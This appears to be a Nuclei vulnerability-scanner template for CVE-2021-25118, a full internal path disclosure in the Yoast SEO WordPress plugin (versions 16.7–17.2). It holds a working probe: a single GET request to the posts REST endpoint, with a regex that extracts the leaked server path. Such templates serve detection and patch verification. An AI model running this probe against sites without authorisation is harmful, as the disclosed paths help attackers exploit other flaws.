CVE-2021-25118: Yoast SEO 16.7-17.2 - Information Disclosure

id: CVE-2021-25118

info:
  name: Yoast SEO 16.7-17.2 - Information Disclosure
  author: DhiyaneshDK
  severity: medium
  description: Yoast SEO plugin 16.7 to 17.2 is susceptible to information disclosure, The plugin discloses the full internal path of featured images in posts via the wp/v2/posts REST endpoints, which can help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: Fixed in version 17.3.
  reference:
    - https://wpscan.com/vulnerability/2c3f9038-632d-40ef-a099-6ea202efb550
    - https://plugins.trac.wordpress.org/changeset/2608691
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25118
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-25118
    cwe-id: CWE-200
    epss-score: 0.27358
    epss-percentile: 0.96247
    cpe: cpe:2.3:a:yoast:yoast_seo:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: yoast
    product: yoast_seo
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,fpd,wp,yoast

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/posts?per_page=1"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        regex:
          - '"path":"(.*)/wp-content\\(.*)","size'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '"path":"(.*)/wp-content\\(.*)","size'
        part: body
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